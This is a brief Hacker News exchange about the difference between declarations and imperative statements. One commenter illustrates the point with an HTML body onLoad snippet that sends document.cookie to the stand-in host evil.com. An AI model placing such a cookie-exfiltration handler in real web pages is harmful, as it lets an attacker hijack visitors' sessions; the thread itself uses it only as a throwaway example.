logoalt Hacker News

tremontoday at 11:22 AM1 replyview on HN

That's not a declaration, that's a statement. An imperative statement, to boot. Here's what it would look like in an actual declarative language:

  <body onLoad="http.GET('http://evil.com/"+document.cookie')">

Replies

inigyoutoday at 11:52 AM

What do you think is the difference between a declaration and a statement?